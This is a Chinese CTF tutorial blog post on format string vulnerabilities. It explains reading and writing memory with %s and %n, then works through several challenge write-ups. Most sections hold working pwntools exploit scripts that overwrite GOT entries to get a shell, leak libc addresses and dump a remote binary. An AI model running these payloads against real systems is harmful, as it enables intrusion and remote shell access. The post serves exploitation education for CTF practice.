格式化字符串漏洞

栏目: Python · 发布时间: 5年前

内容简介:格式化字符串漏洞(format string bug)也算是pwnable的常见漏洞,主要是利用可控格式化字符串来达到任意地址读写引言通常而言,当我们输出一个字符串a时,通常会printf("%s", a),但为图方便,也有的程序员会直接写为printf(a),看上去没有区别的两种写法实际上有着区分。在第一种写法中,汇编层面为:

格式化字符串漏洞(format string bug)也算是pwnable的常见漏洞,主要是利用可控格式化字符串来达到任意地址读写

引言

通常而言,当我们输出一个字符串a时,通常会printf("%s", a),但为图方便,也有的 程序员 会直接写为printf(a),看上去没有区别的两种写法实际上有着区分。在第一种写法中,汇编层面为:

push offset a; 将字符串压栈
push offset _Format; "%s"
call printf

但对于第二种,字符串a直接当作格式化字符串压入栈中,这样,当字符串a中含有形如%x,%s等格式化字符时,由于gcc不检测压入栈中的值的数量,会造成栈上信息的泄露;而如果字符串a中含有形如%n,%hn,%hhn时,结合栈上已有的指针,便可以达到任意地址写

漏洞利用

打印内存

如同上面所言,当我们的格式化字符串可控,且格式化字符串保存在栈上时,几乎可以leak出任意数据,比如如果我们想要知道libc的基址,便可以通过二进制文件得知printf@got的地址为0x08048322,利用类似%6$sx08x04x83x22(假设格式化字符串与当前栈顶地址的偏移为4*5个byte,这样%s就可以读到0x08048322这个数据,输出该地址对应的数据,与已有的libc进行比对便可以得到libc的地址

除此之外,利用一个格式化字符串,可以不断%s从ELF dump到 EOF,盲打搞下来二进制文件,这将在之后提及。

修改内存

在学习printf的过程中,我们还知道%n有着修改内存的作用,例如以下代码:

#include<stdio.h>
int main()
{
  int c = 0;
  printf("abcdefgh%n\n", &c);
  printf("%d\n", c);
}

将得到abcdefgh和数字8,%n的意思为将对应地址的值改为已打印的字符数,如同上文所述,只要我们在栈上布好指向我们要修改的内存的指针,便可以改掉该指针对应的地址上的内容,通常而言,我们可以利用改got表为libc_system,配合/bin/sh的参数即可getshell

实战

fsb_easy_i386

先随便找一个sb平台上的fsb题为例,其中一个函数:

int echo()
{
  char s;
  memset(&s, 0, 0x200u);
  fgets(&s, 512, stdin);
  printf(&s);
  return puts("haha");
}

其中有一个getshell函数:

int getshell()
{
  return system("/bin/sh");
}

最简单的fsb,我们只需要确定格式化字符串在栈上地址的偏移,改puts@got(地址为0x08048b78)的值为getshell函数的地址,就可以调用到getshell函数,exp如下:

from pwn import *
#r = process("./fsb_easy_i386")
r = remote("121.43.173.2", 11005)
r.sendline("\x7a\x9b\x04\x08\x78\x9b\x04\x08%2044c%4$hn%32283c%5$hnaaa")
r.recvuntil("aaa")
r.sendline("id")
r.interactive()

fsb_i386

这题和上面一题的变化就是没有了getshell函数,那我们就改printf@got = libc_system即可

问题在于如何重复执行printf,这里由于printf后调用了puts,所以改puts@got = 程序段,就可以达到反复执行printf,leak出libc后即可,exp如下:

""" ZUHXS / AAA """
from pwn import *
#r = process("./fsb_i386")
r = remote("121.43.173.2", 11006)
#r = gdb.debug('./fsb_i386')
r.sendline("%2052c%14$hn%32135c%13$hneee%139$xee\x00\x9b\x04\x08\x02\x9b\x04\x08")
r.recvuntil("eee")
recv = r.recv(4096)
if recv:
    a = recv[0:8]
    print(a)
    b = int(a, base = 16)

system_address = b - 0x19a83 + 0x40190

print(system_address)
c = str(hex(system_address))
d = c[2:6]
h1 = int(d, base = 16)
print(h1)
e = c[6:10]
h2 = int(e, base = 16)
print(str(h2))
print(str(h1-h2))
r.sendline("%" + str(h2) + "c%11$hn%" + str(h1-h2) + "c%12$hnaa\xf0\x9a\x04\x08\xf2\x9a\x04\x08")
r.recvuntil("aa")
r.sendline("/bin/sh;")
r.interactive()

当时代码写得比较丑陋见谅,这里libc的偏移是通过libc_database内的信息得知的,在github可以clone

chance

ACTF中遇到了一道fsb的题,wp如下:

最开始没找到什么好的办法,return printf的返回值之后直接就return 0了,由于栈地址随机化,要想一次printf后getshell还需要知道libc的基址,看上去必须要重复执行printf,虽然got表是read and write,但想改got表也不知道改啥...所以只能想一些奇怪的方法

后来发现了timeout函数,里面调用了puts("time is out"); exit(0),就想到能不能强行在打印的时候触发alarm的回掉函数,如果此时已经改好了puts的got表,就可以将程序劫持到程序段,重复触发格式化字符串漏洞

调试之后发现以下payload可用:

r = remote("10.214.10.13", 11010)
#r = process('./chance')
#context(arch='i386', os='linux', log_level='info')
r.recvrepeat(timeout=19)
r.sendline("ab\x80\x9b\x04\x08\x82\x9b\x04\x08%2032c%8$hn%32135c%7$hnaaa%10000000c")

发现栈上有<__libc_start_main + 247>,也就是<__libc_start_main_ret>的值,想要执行system函数来getshell必须要先info leak搞到libc的基址,所以改payload为:

r.sendline("ab\x80\x9b\x04\x08\x82\x9b\x04\x08%2032c%8$hn%32135c%7$hnaaa%143$x%10000000c")

又有了个问题,由于它给绑定了一个char s[] = "You said: ",如果只是改掉printf@got没法完全控制参数,遂想到return_to_libc的解法,这样要在前面搞到栈的基址,正好栈上有一个环境变量字符串的地址,正好可以leak出来,于是第一次sendline的最终payload变成:

""" ZUHXS / AAA """
from pwn import *
r = process('./chance')
r.recvrepeat(timeout=19)
r.sendline("ab\x80\x9b\x04\x08\x82\x9b\x04\x08%2032c%8$hn%32135c%7$hnaaa%138$x%143$x%10000000c")
r.recvuntil('aaa')
recv = r.recv(20)
if recv:
    a = recv[0:8]
    c = int(a, base = 16)
    b = recv[8:16]
    libc_main_ret = int(b, base = 16)
    print(hex(c))
    print(hex(libc_main_ret))
    b = int(a, base = 16)

于是就搞到了栈地址和libc的地址

由于栈的扩展值在每次执行的时候未必固定,所以需要一定程度的爆破,但成功率也是很高,这样改掉返回值和返回值+8为libc_system和binsh就能成功getshell

后来发现服务器和本机不止libc的偏移值不同,连栈扩展的都不一样...被卡了好久,这样的话leak一下服务器的两个偏移地址,就能成功getshell,最终payload如下:

""" ZUHXS / AAA """
from pwn import *
r = remote("10.214.10.13", 11010)
#r = process('./chance')
#context(arch='i386', os='linux', log_level='info')
r.recvrepeat(timeout=19)
r.sendline("ab\x80\x9b\x04\x08\x82\x9b\x04\x08%2032c%8$hn%32135c%7$hnaaa%138$x%143$x%10000000c")
r.recvuntil('aaa')
recv = r.recv(20)
if recv:
    a = recv[0:8]
    c = int(a, base = 16)
    b = recv[8:16]
    libc_main_ret = int(b, base = 16)
    print(hex(c))
    print(hex(libc_main_ret))
    b = int(a, base = 16)

system_add = libc_main_ret - 0x19a83 + 0x40190
bin_sh_add = libc_main_ret - 0x19a83 + 0x160a24
#bin_sh_add = libc_main_ret - 247 - 99584 + 1412708
#return_add_add = c - 52028
return_add_add = c - 0xffede4d8 + 0xffed18e8 - 0xbffff3f8 + 0xbffff3ec
print hex(return_add_add)
#system_add = libc_main_ret + 0x22259
print hex(system_add)
from fmtstr import make_fmtstr
Writes = [
    (return_add_add, system_add, 4),
    (return_add_add + 0x8, bin_sh_add, 4)
]
payload_final = make_fmtstr(offset = 27, writes = Writes, arch = 'i386', outed = 11)[0]
#raw_input()
r.sendline('a' + payload_final + 'abcd')
r.interactive()

Orz后来发现data段有fini_array在程序结束之前会调用,所以改掉这个就能无限次执行格式化字符串漏洞...技不如人这个真的不知道...

后来看别人的exp才发现根本不需要return_to_libc,还是改printf@got,只需要读取的时候输入;binsh,这样就可以执行system("You said: ;binsh"),效果等同于system("binsh"),也算个小技巧...

哇心态崩了我怎么这么菜...给大佬递茶.jpg,附上别人的payload:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
""" Kira / AAA """
from pwn import *
from fmtstr import make_fmtstr
import sys
context(arch='i386', os='linux', log_level='info')

if len(sys.argv) > 1:
    if sys.argv[1][0] == 'r':   # remote
        p = remote('10.214.10.13', 11010)
    elif sys.argv[1][0] == 'd': # debug
        p = gdb.debug('./chance', 'b main\nb *0x80485c9')
else:
    p = process('./chance')

libc = ELF('./libc6_2.19-0ubuntu6.6_i386.so')
elf = ELF('./chance')


def modify_return():
    main_addr = 0x080486FE
    echo_addr = 0x0804858B
    fini_array_addr = 0x08049A70
    payload = make_fmtstr(4 * 4 + 10, writes=[(fini_array_addr, main_addr, 4), (elf.got['setvbuf'], echo_addr, 4), (elf.got['signal'], echo_addr, 4)], arch='i386', outed=alreay_len)
    # print payload
    p.sendline(payload[0])
    p.recv()


def leak():
    payload = make_fmtstr(4 * 4 + 10, reads=([elf.got['fgets']], [], ''), arch='i386', outed=alreay_len)
    p.sendline(payload[0])
    p.recvuntil('you said: ')
    s = p.recv()
    fgets_addr = u32(s[:4])
    libc.address = fgets_addr - libc.symbols['fgets']
    print 'fgets:', hex(u32(s[:4])), ' signal:', hex(u32(s[4:8])), ' alarm:', hex(u32(s[8:12]))


def modify_func():
    payload = make_fmtstr(4 * 4 + 10, writes=[(elf.got['printf'], libc.symbols['system'], 4)], arch='i386', outed=alreay_len)
    p.sendline(payload[0])
    p.recv()


alreay_len = len('you said: ')
p.recv()
modify_return()
leak()
modify_func()
p.sendline(';/bin/sh')
p.interactive()

make_fmtstr函数是一个学长写的库,就不外传啦,大致意思看懂就好,欢迎大佬们来AAA玩耍呀

其实说到底,我的第一种方法利用了alarm hook的方法,先改好alarm的got表等到触发时劫持程序eip,对于正常的题目而言,还可以使用类似malloc hook的方法劫持eip,如0CTF的Easiest printf题目

Easiest Printf

比赛的时候太菜了并不会,比完赛对着别人的wp复现了一下,这道题got表不可改,可以先读一个libc的基址,然后printf格式化字符串,随后直接_exit(0)结束程序,finiarray什么的肯定是别想了,连atexit函数指针也被加密过,exit会直接syscall结束程序无法补救,对exit的攻击也不能奏效。程序开始对栈的基址做了一系列变换,爆破栈地址ret_to_libc也完全没可能,况且程序里有sleep的指令。看起来只能用malloc hook的方法,这里找到了lsaac大佬的wp,原地址: https://poning.me/2017/03/23/EasiestPrintf/

为什么可以利用malloc hook:在printf中如果输出过多字符,则会调用malloc分配缓冲区的内存,如果能先改掉__malloc_hook为one_gadget,之后输出%10000000c即可,同时利用__free_hook也是一个道理,代码就不附了lsaac这道题利用malloc hook方法的人很多,基本搜wp都能搜到

直到后来,AAA的学长告诉了我另一种利用方法:改掉stdout的vtable:

  1. 把stdout的vtable写到elf的bss段上
  2. 布置假的vtable,里面放上system来getshell
  3. 更改指向vtable的指针,使得在printf内部stdout时劫持程序

当然这个方法要麻烦很多,首先是参数的不知,可以直接把stdout的头上写上shx00x00,实际上会调用vtable中的_IO_sputn,第八个指针,所以改掉fake vtable的第八个参数就好,同时还有一些细枝末节:

struct _IO_FILE_plus有位于0x4c的old vtable和位于0x94的new vtable两种,用哪个取决于位于0x46的一个byte来判断,默认用new vtable,但是当直接修改new vtable的时候,程序会直接崩掉

由于程序一开始执行了setbuf(stdout, NULL),真正的stdout是一个FILE,此时会给printf分配一个位于栈上,长为8192字节的缓冲区,如果超过了8192字节,则会先调用stdout的_IO_sputn输出已存在的字符串,如果此时为完成对各参数的修改以及vtable的布置就会直接炸掉

所以可以先改掉old_vtable,布置好对应的bss段,然后改掉位于0x46的一个byte,就不会受制于8192的限制,exp等我得到许可后再发...大致利用就是如此

SYC

pwnhub杯有一道盲打,去研究了下发现fsb想要dump出整段内存这么简单...参考了大佬的博客 http://paper.seebug.org/246/

x86在没开PIE的情况下,ELF起始地址为0x0804800,所以从这个地址开始爆破,直到EOF为止,便可以dump出整个bin,虽然无法执行,但放到IDA中也可以F5

附上hcamael大佬博客中的代码:

#! /usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *


context.log_level = 'debug'  
f = open("source.bin", "ab+")

begin = 0x8048000  
offset = 0

while True:  
    addr = begin + offset
    p = process("a.out")
    p.sendline("%13$saaa" + p32(addr))
    try:
        info = p.recvuntil("aaa")[:-3]
    except EOFError:
        print offset
        break
    info += "\x00"
    p.close()
    offset += len(info)
    f.write(info)
    f.flush()

f.close()

如果32位的开了PIE,只需要做一点小改动,ELF的末三位是不变的,所以只需要从0x08000000开始爆破,每次加1000,直到翻到ELF,再进行同理的爆破,代码就不贴了

遇到的这道题根据%p打印几个发现arch是x64的,基本上要是开了PIE就不用玩了...还好没开,x64的ELF起始默认是0x0000000000400000,稍微改一下脚本就好:

""" ZUHXS / AAA """
from pwn import *
#context.log_level = 'debug'
f = open("source.bin", "ab+")

begin = 0x00400000
offset = 0

p = remote('54.222.255.223', 50001)
while True:
    addr = begin + offset
    p.recvuntil('lemon:')
    p.send("c%7$sbbb" + p64(addr))
    p.recvuntil('are : c')
    try:
        info = p.recvuntil('bbb')[:-3]
        print info, addr

    except EOFError:
        print offset
        break
    info += "\x00"
    offset += len(info)
    f.write(info)
    f.flush()

f.close()

这题有个坑,读使用read读的,所以如果用sendline的话会出问题...看了一上午才看出来...下次记住了...

然后dump出数据,数据里是可以看got表的!所以和上面一样改掉printf@got就好,剩下的就很常规了,exp:

""" ZUHXS / AAA """
from pwn import *
r = remote('54.222.255.223', 50001)
libc = ELF('./libc.so.6')

r.recvuntil('lemon:')
read_addr = 0x000000000040088B
write_got = 0x0000000000601020
printf_got = 0x0000000000601040

leak_write_plt = 'bbbb%7$s' + p64(write_got)
r.send(leak_write_plt)
r.recvuntil('bbbb')
a = r.recv(8)
write_plt = u64(a) & 0xFFFFFFFFFFFF
print 'write_plt: ', hex(write_plt)
r.recvuntil('lemon:')
leak_printf_plt = 'bbbb%7$s' + p64(printf_got)
r.send(leak_printf_plt)
r.recvuntil('bbbb')
a = r.recv(8)
printf_plt = u64(a) & 0xFFFFFFFFFFFF
print 'printf_plt:', hex(printf_plt)
libc.address = printf_plt - libc.symbols['printf']
print 'write@plt after calc: ', hex(libc.symbols['write'])
from fmtstr import make_fmtstr
r.recvuntil('lemon:')
payload_final = make_fmtstr(offset = (6-5) * 8, maxlength = 0x65, writes = [(printf_got, libc.symbols['system'], 8)], arch = 'amd64', outed = 0)[0]
print 'system', hex(libc.symbols['system'])
r.sendline('a' * 11 + payload_final)
print payload_final
r.interactive()

以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

黑客与画家

黑客与画家

[美] Paul Graham / 阮一峰 / 人民邮电出版社 / 2013-10 / 69.00元

本书是硅谷创业之父Paul Graham 的文集,主要介绍黑客即优秀程序员的爱好和动机,讨论黑客成长、黑客对世界的贡献以及编程语言和黑客工作方法等所有对计算机时代感兴趣的人的一些话题。书中的内容不但有助于了解计算机编程的本质、互联网行业的规则,还会帮助读者了解我们这个时代,迫使读者独立思考。 本书适合所有程序员和互联网创业者,也适合一切对计算机行业感兴趣的读者。一起来看看 《黑客与画家》 这本书的介绍吧!

HTML 编码/解码
HTML 编码/解码

HTML 编码/解码

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换

HEX HSV 转换工具
HEX HSV 转换工具

HEX HSV 互换工具